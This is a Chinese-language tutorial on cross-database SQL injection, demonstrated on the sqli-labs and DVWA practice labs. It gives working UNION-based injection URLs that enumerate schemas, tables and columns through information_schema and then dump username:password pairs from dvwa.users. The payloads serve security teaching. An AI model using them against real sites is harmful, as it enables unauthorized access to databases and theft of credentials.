SQL注入-跨库查询
原理
跨库查询的原理就是因为root用户管理着整个Mysql,相当于MySQL数据库的总管,能看到所有的数据库,普通用户就只能管理自己的部分。
如果sql注入的时候,获取到的用户是root用户(代码配置连接数据库的时候使用的是root),那么我们就可以实现跨库查询,接下来我们实现从sql-labs的数据库跨库查询到dvwa的数据库
实操
http://sqli-labs/Less-1/?id=-1' union select 1,user(),group_concat(schema_name) from information_schema.schemata--+
这个sql语句的意思就是:
user()获取数据库当前用户
从information_schema中的schemata表获取到所有的schema_name(数据库名)信息
可以看到我们所在的数据库名security和我们要跨库的数据库名dvwa
接下来就是跨库查询dvwa数据库的表
获取表名
http://sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--+
这个sql语句的意思就是:
从information_schema.tables这张表里面获取数据库名为dvwa的所有表的名称
获取列名
http://sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'--+
这个sql语句的意思就是:
从information_schema.columns这张表中获取数据库名为dvwa且数据表的名字为users的所有列名
获取数据
http://sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(user,":",password) from dvwa.users--+
这个sql语句的意思是:
从dvwa下的users表获取user和password字段的数据,“.”代表的是数据库.表名,没有加“.”的话,就会自动在当前数据库也就是security下查询users表
这就是完整的跨库查询流程